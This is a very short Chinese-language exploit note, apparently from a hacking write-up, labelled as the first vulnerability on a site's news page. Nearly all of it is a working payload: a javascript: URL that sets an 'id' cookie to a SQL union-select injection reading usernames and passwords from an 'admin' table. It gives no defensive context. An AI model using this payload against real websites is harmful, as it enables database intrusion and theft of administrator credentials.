漏洞一：s新闻页面
 
具体EXP：

javascript:alert(document.cookie=”id=”+escape(“220 union select
 
1,username,password,4,5,6,7,8,9,10 from admin”));